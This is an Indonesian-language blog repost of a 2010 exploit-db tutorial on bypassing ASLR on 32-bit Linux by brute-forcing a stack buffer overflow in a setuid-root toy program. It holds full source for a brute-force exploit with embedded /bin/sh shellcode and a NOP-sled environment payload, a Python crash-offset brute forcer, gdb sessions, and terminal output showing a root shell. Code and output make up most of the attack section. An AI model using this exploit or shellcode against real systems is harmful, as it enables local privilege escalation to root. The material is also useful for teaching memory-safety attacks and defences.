./dev/sda /tmp/backtrack, Ppentest, Win Security

[Indonesian] Linux Buffer Overflow Tutorial III – “exploitsdb” Papers

									Linux Buffer Overflow Tutorial
									Edisi : Ketiga

Penulis : gunslinger_ <yudha.gunslinger@gmail.com>
Web	: http://gunslingerc0de.wordpress.com
Tanggal : Sat Jul 24 20:01:54 WIT 2010

Konten :
	0x01. Pendahuluan
	0x02. Skenario
	0x03. Kesimpulan
	0x04. Special thanks
	0x05. Stuff

					0x01. Pendahuluan
					~~~~~~~~~~~~~~~~~

Sebelumnya saya telah menulis artikel buffer overflow dengan 2 tehnik berbeda .
namun, dalam artikel tersebut kita tidak memakai randomisasi stack (ASLR) dan kita bisa mengalokasikan memory dengan mudah .
pada artikel kali ini saya akan menjelaskan tehnik buffer overflow dengan memakai randomisasi stack (ASLR).
ASLR adalah singkatan dari Address Space Layout randomization .
dengan kata lain, kita akan mengeksploitasi aplikasi buffer overflow dengan return address yang dinamis . 
maka mengeksploitasi dengan mengalokasikan return adress memory pada satu waktu hanya percuma saja 
karena pada waktu berbeda kita akan mendapatkan address yang berbeda (dinamis).
akan tetapi, ASLR tidak begitu kuat dalam mesin 32 bit .
faktanya, beberapa Linux kernel dikompilisasi dalam 23 bits dengan tujuan untuk mengidentifikasi relatif address 
di dalam stack dimana ruang address dapat teralokasi .

				" 2 ^ 23 == 8388608 atau 8 MB "

Hal tersebut berarti base stack address menggunakan address yang jatuh pada letak yang tidak dipastikan (random)
tetapi dalam hal random tersebut, hanya berada dalam jangkauan 8388608 byte atau 8 MB pada memori .
jika kita memanggil program yang rentan terhadap serangan melalui variabel environment yang sangat panjang
sebut saja 128 KB, dimana kebanyakan dari variabel environment tersebut adalah diisi dengan NOP ~ No OPeration (0x90) atau junk "A" (0x41) .
dan pada akhir variable environment tersebut kita tempatkan shellcode kita .
dan apa yang akan terjadi ? cepat atau lambat setelah melewati beberapa kali proses 
pengeksekusian tersebut akan menempatkan kita pada address yang kita inginkan .
No OPeration (NOP) atau junk "A" akan naik 1 demi 1 sampai pengeksekusian shellcode berhasil .
tehnik ini hampir sama dengan tehnik pada artikel buffer overflow kedua yang saya buat .
anda bisa lihat di http://www.exploit-db.com/papers/14108/ .

Dan jika kita mengeksekusikannya lewat exec*e (execve atau execle) melewati proses aplikasi yang rentan tersebut 
Contoh : variable environment kita berisi NOP atau junk + shellcode dengan panjang 128 KB .
coba kita hitung berapa persen payload kita dalam ruang address .

				" 128000 / 8000000 x 100% =  1.525878906% atau 1.6%"

Dalam perhitungan berikut membuktikan bahwa payload kita yang berukuran 128 KB .
mempunyai 1.525878906% (persen) atau 1.6% dari seluruh ruang address 100% ~ 8388608 bytes atau 8 MB .
jadi kita mempunyai kesempatan 1.6% dan akan semakin dekat dengan buffer yang rentan tersebut .
tentu saja kita akan membuat program yang akan mengexploitasi secara automatis 
karena kita akan mau tes 1 per 1 secara manual ~ That's was a very bad jokes isn't it ? ;)

					0x02. Skenario
					~~~~~~~~~~~~~~

Pada skenario dalam tutorial ini, kita mendapatkan kasus ada aplikasi yang rentan terhadap buffer overflow .
namun karena kita hanya user biasa (non-root) tentu kita tidak dapat mematikan ASLR untuk mengekploitasi aplikasi tersebut .
mari kita buat saja skenario tersebut .

gunslinger@c0debreaker:~/bof$ cat /proc/sys/kernel/randomize_va_space
2
gunslinger@c0debreaker:~/bof$ vim bof.c
gunslinger@c0debreaker:~/bof$ cat bof.c
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char buffer[400];
	strcpy(buffer, argv[1]);

	return 0;
}

gunslinger@c0debreaker:~/bof$ gcc -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
gunslinger@c0debreaker:~/bof$ sudo chown root:root bof
[sudo] password for gunslinger: 
gunslinger@c0debreaker:~/bof$ sudo chmod 4755 bof
gunslinger@c0debreaker:~/bof$ 

Skenario berhasil di buat .
Sekarang kita harus mencari berapa bytes yang di perlukan untuk mengoverwrite eip .
kita tidak perlu mencari secara manual berapa bytes yang kita butuhkan 
untuk mencari beberapa bytes yang di berikan agar si vilnerable program mengalami crash seperti artikel sebelumnya .
karena kita bisa pakai aplikasi yang saya buat .

gunslinger@c0debreaker:~/bof$ ./bufferbruteforce.py

Buffer brute force
Programmer : gunslinger_ <yudha.gunslinger@gmail.com>

Usage: ./bufferbruteforce.py [options]
Options: -a, --application    	<path-to-application>   |   Target application for bruteforcing buffer 
         -s, --start      	<int>	          	|   start byte for bruteforcing buffer
         -e, --end  		<int>     	 	|   end byte for bruteforcing buffer
         -h, --help      	<help>          	|   print this help

Example: ./bufferbruteforce.py -a /home/gunslinger/bufferoverflow/bof -s 1 -e 500

gunslinger@c0debreaker:~/bof$ ./bufferbruteforce.py -a /home/gunslinger/bof/bof -s 1 -e 500

Buffer brute force
Programmer : gunslinger_ <yudha.gunslinger@gmail.com>

[*] Checking Existing application 					[Ok]
[*] Checking perl 							[Ok]
[*] Preparing for bruteforcing buffer 					[Ok]
[*] buffering on 404 byte(s)
[!] Application got segmentation fault by giving 404 byte(s) into buffer !!

gunslinger@c0debreaker:~/bof$

Ok sudah di temukan 404 bytes yang di perlukan untuk membuat vulnerable program tersebut mengalami crash .
sekarang kita cari berapa bytes yang di perlukan untuk membuat register eip tersebut teroverwrite .

gunslinger@c0debreaker:~/bof$ gdb bof
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) r `perl -e 'print "A" x 406'`
Starting program: /home/gunslinger/bof/bof `perl -e 'print "A" x 406'`

Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb) r `perl -e 'print "A" x 407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof `perl -e 'print "A" x 407'`

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) r `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof `perl -e 'print "A" x 408'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141	0x41414141
(gdb)

Eip teroverwrite total dengan huruf "A" tersebut .
Dan payload kita akan berukuran 408 bytes juga .
Sekarang kita lakukan debugging untuk menentukan perkiraan register esp (stack pointer) dan kita ambil salah satunya .
karena register tersebut tidak akan jatuh pada alamat yang statis .
pertama kita disassemble dulu dimana fungsi strcpy tersebut .

(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:	push   %ebp
0x080483c5 <main+1>:	mov    %esp,%ebp
0x080483c7 <main+3>:	sub    $0x198,%esp
0x080483cd <main+9>:	mov    0xc(%ebp),%eax
0x080483d0 <main+12>:	add    $0x4,%eax
0x080483d3 <main+15>:	mov    (%eax),%eax
0x080483d5 <main+17>:	mov    %eax,0x4(%esp)
0x080483d9 <main+21>:	lea    -0x190(%ebp),%eax
0x080483df <main+27>:	mov    %eax,(%esp)
0x080483e2 <main+30>:	call   0x80482f8 <strcpy@plt>
0x080483e7 <main+35>:	mov    $0x0,%eax
0x080483ec <main+40>:	leave  
0x080483ed <main+41>:	ret    
End of assembler dump.
(gdb) b *main+30
Breakpoint 1 at 0x80483e2
(gdb)

yah , terlihat bahwa fungsi strcpy terletak di 0x80483e2
0x080483e2 <main+30>:	call   0x80482f8 <strcpy@plt>

sekarang kita akan mencari dimana perkiraan register esp akan jatuh aplikasi tersebut .

(gdb) r hey where is esp ?
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof hey where is esp ?

Breakpoint 1, 0x080483e2 in main ()
(gdb) i r esp
esp            0xbfeba1f0	0xbfeba1f0
(gdb) r hey where is esp ?
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof hey where is esp ?

Breakpoint 1, 0x080483e2 in main ()
(gdb) i r esp
esp            0xbf98dcc0	0xbf98dcc0
(gdb) r hey where is esp ?
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof hey where is esp ?

Breakpoint 1, 0x080483e2 in main ()
(gdb) i r esp
esp            0xbfcc8800	0xbfcc8800
(gdb)

Terlihat bukan ? register esp jatuh pada address yang tidak tetap statis .
pertama kita dapatkan register esp terletak pada address -> 0xbfeba1f0
esp            0xbfeba1f0	0xbfeba1f0
kedua kita dapatkan register esp terletak pada address -> 0xbf98dcc0
esp            0xbf98dcc0	0xbf98dcc0
ketiga kita dapatkan register esp terletak pada address -> 0xbfcc8800
esp            0xbfcc8800	0xbfcc8800

hal itu dikarenakan ASLR yang membuat address tersebut jatuh pada address yang dinamis .
ok, sekarang tinggal kita pilih dari address ketiga tersebut, pada skenario tutorial ini
kita ambil register esp yang pertama kali yaitu : 0xbfeba1f0

dan kita jalankan program pengeksploitasi dengan RET (return address) 0xbfeba1f0 .

gunslinger@c0debreaker:~/bof$ cat /proc/sys/kernel/randomize_va_space
2
gunslinger@c0debreaker:~/bof$ vim stackbf.c
gunslinger@c0debreaker:~/bof$ gcc -o stackbf stackbf.c
gunslinger@c0debreaker:~/bof$ ./stackbf

Stack Brute Force
Programmer : gunslinger_ <yudha.gunslinger@gmail.com>
Usage: ./stackbf <application> <payload_size>

gunslinger@c0debreaker:~/bof$ ./stackbf bof 408
[*] Using return address 0xbfeba1f0 
[*] Environment variable 128 kb
[*] Shellcode size 28 bytes
# id    
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# uname -a
Linux c0debreaker 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# echo GAME OVER
GAME OVER
# exit
gunslinger@c0debreaker:~/bof$

Attack vector berhasil dilancarkan dengan mulus .
namun dapatkah jika return address tersebut di ganti ke address yang lebih rendah ?
coba kita gunakan RET (return address) 0xbffffff4

gunslinger@c0debreaker:~/bof$ vim stackbf.c
gunslinger@c0debreaker:~/bof$ gcc -o stackbf stackbf.c
gunslinger@c0debreaker:~/bof$ ./stackbf bof 408
[*] Using return address 0xbffffff4
[*] Environment variable 128 kb
[*] Shellcode size 28 bytes
(...after some second...)
# id    
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# uname -a
Linux c0debreaker 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# echo GAME OVER
GAME OVER
# exit
gunslinger@c0debreaker:~/bof$

Berhasil, hanya saja memerlukan waktu beberapa detik untuk spawn shell .

					0x03. Kesimpulan
					~~~~~~~~~~~~~~~~

Dengan experimen berikut, kita menyimpulkan bahwa ASLR tidak begitu kuat dalam mesin 32 bit.

					0x04. Special thanks
					~~~~~~~~~~~~~~~~~~~~

Thanks to : devilzc0de crew and jasakom crew
	  : www.devilzc0de.org / www.devilzc0de.com - www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
	  : serverisdown.org, xc0de.or.id, echo.or.id, hacker-newbie.org, tecon-crew.org
	  : Scut, jonathan salwan, mywisdom, r0073r, d3hydr8 (we miss you bro), ty myler
	  : And all exploit database...

					0x05. Stuff
					~~~~~~~~~~~

------------------------------------------stackbf.c------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
	You can use debugger to get esp address, that can make program will be defeated more faster !
	RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime...
*/
#define RET 0xbffffff4  // you may change this
#define NOP 0x90	

// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000

char shellcode[] =
	/* 
	; standard /bin//sh
	global _start

	_start:

	xor	eax,eax
	push	byte	11
	pop	eax
	push	ebx
	push	0x68732f2f
	push	0x6e69622f
	mov	ebx,esp
	xor	ecx,ecx
	xor	edx,edx
	push	ebx
	int	0x80

	*/
	"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73"
	"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
	char *application = NULL;
	char *buffer = NULL;
	char env_var[ENV_LEN];
	char *env[2] = { env_var, NULL};
	int *p, num, ret, pid, payload_size;

	if (argc < 3)
	{
		printf("\nStack Brute Force");
		printf("\nProgrammer : Gunslinger_");
		printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
		exit(1);
	}

	printf("[*] Using return address 0x%x \n", RET);
	printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
	printf("[*] Shellcode size %d bytes\n", strlen(shellcode));

	application = strdup(argv[1]);
	payload_size = atoi(argv[2]);
	buffer = (char*) malloc(payload_size);

	memset (env_var, NOP, ENV_LEN);

	memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
	env_var[ENV_LEN-1]=0;

	p = (int*) buffer;

	for (num = 0; num < payload_size; num += sizeof(int), p++)
		*p = RET;
	*p=0;
	do {
		switch(pid=fork())
		{
		case 0:
			execle (application, application, buffer, NULL, env);
			exit(0);
			break;
		default:
			waitpid (pid, &ret, 0);
			break;
		}
	}
while (ret);
}
-------------------------------------------------EOF---------------------------------------------------

------------------------------------------bufferbruteforce.py------------------------------------------
#!/usr/bin/python
import sys, time, StringIO, commands, re, os, os.path

'''
	This is buffer brute forcer program, allow you to brute forcing buffer and know how bytes to make got Segmentation fault .
	Written for educational purpose and pentest only. Use it at your own risk .
	Toolname : bufferbruteforce.py
	Author	 : gunslinger_ <yudha.gunslinger@gmail.com>
	date	 : Sun Jul  4 00:58:54 WIT 2010
	You can use this simple bof.c for testing .
	-----------------bof.c-----------------
	#include <stdio.h>
	#include <string.h>

	int main(int argc, char** argv)
	{
		char buffer[400];
		strcpy(buffer, argv[1]);

		return 0;
	}
	------------------EOF------------------
	Example usage :
	root@c0debreaker:/home/gunslinger/bof# cat bof.c
	#include <stdio.h>
	#include <string.h>

	int main(int argc, char** argv)
	{
		char buffer[400];
		strcpy(buffer, argv[1]);

		return 0;
	}
	root@c0debreaker:/home/gunslinger/bof# echo 0 > /proc/sys/kernel/randomize_va_space
	root@c0debreaker:/home/gunslinger/bof# gcc -o bof -g -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
	root@c0debreaker:/home/gunslinger/bof# exit
	gunslinger@c0debreaker:~/bof$ ./bbf.py -a /home/gunslinger/bof/bof -s 1 -e 500

	Buffer brute force
	Programmer : gunslinger_ <yudha.gunslinger@gmail.com>

	[*] Checking Existing application 					[Ok]
	[*] Checking '/proc/sys/kernel/randomize_va_space' 			[Ok]
	[*] Checking perl 							[Ok]
	[*] Preparing for bruteforcing buffer 					[Ok]
	[*] buffering on 404 byte(s)
	[!] Application got segmentation fault by giving 404 byte(s) into buffer !!

	gunslinger@c0debreaker:~/bof$
'''

'''define color'''
green 	= '33[38m'
red 	= '33[31m'
reset 	= '33[0;0m'

name	= sys.argv[0]
fail 	= "[Failure]"
ok 	= "[Ok]"

face	= '''
Buffer brute force
Programmer : gunslinger_ <yudha.gunslinger@gmail.com>'''

option = '''
Usage: %s [options]
Options: -a, --application    	<path-to-application>   |   Target application for bruteforcing buffer 
         -s, --start      	<int>	          	|   start byte for bruteforcing buffer
         -e, --end  		<int>     	 	|   end byte for bruteforcing buffer
         -h, --help      	<help>          	|   print this help

Example: %s -a /home/gunslinger/bufferoverflow/bof -s 1 -e 500
''' % (name,name)

def myface() :
	print face

def helpMe() :
	myface()
	print option
	sys.exit(1)

for arg in sys.argv:
	if arg.lower() == '-a' or arg.lower() == '--application':
            app = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-s' or arg.lower() == '--start':
            counter = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-e' or arg.lower() == '--end':
            end = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
        	helpMe()
	elif len(sys.argv) <= 1:
		helpMe()

def checkingexistingfile():
	if os.path.exists(app):
		exfile = green+ok
	else:
		exfile = red+fail
	print "\n[*] Checking Existing application \t\t\t\t\t%s%s" % (exfile, reset)
	if exfile == red+fail:
		print "[*] Please checking your application target path"
		exit()

def checkperl():
	perl = "perl -e \'print \"A\" x 1\'"
	result = StringIO.StringIO(commands.getstatusoutput(perl)[1]).read()
	A = re.findall("A", result)
	if A:
		print "[*] Checking perl \t\t\t\t\t\t\t%s%s%s" % (green, ok, reset)
	else:
		print "[*] Checking perl \t\t\t\t\t\t\t%s%s%s" % (red, fail, reset)	
		print "[*] Are perl installed on your system ?"
		exit()

def bruteforcebuff():
	global counter
	print "[*] Preparing for bruteforcing buffer \t\t\t\t\t%s%s%s" % (green, ok, reset)
	while counter <= end :
		try:
			sys.stdout.write("\r[*] buffering on %s%d%s byte(s)" % (red,int(counter),reset))
			sys.stdout.flush()
			args = app+' '+'`perl -e \'print "A" x '+repr(counter)+'\'`'
			SIGSEGV = StringIO.StringIO(commands.getstatusoutput(args)[0]).read()
			segmentation_fault = re.findall("35584", SIGSEGV)
			if segmentation_fault:
				print "\n[!] Application got segmentation fault by giving %s%d%s byte(s) into buffer !!\n" % (red, int(counter), reset)
				break
			counter = int(counter) + 1
		except KeyboardInterrupt:
			print "\n[-] Exiting %s" % (name)
			sys.exit(1)

def main():
	myface()
	checkingexistingfile()
	checkperl()
	bruteforcebuff()

if __name__ == '__main__':
	main()
--------------------------------------------------------------EOF--------------------------------------------------------
Standard

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s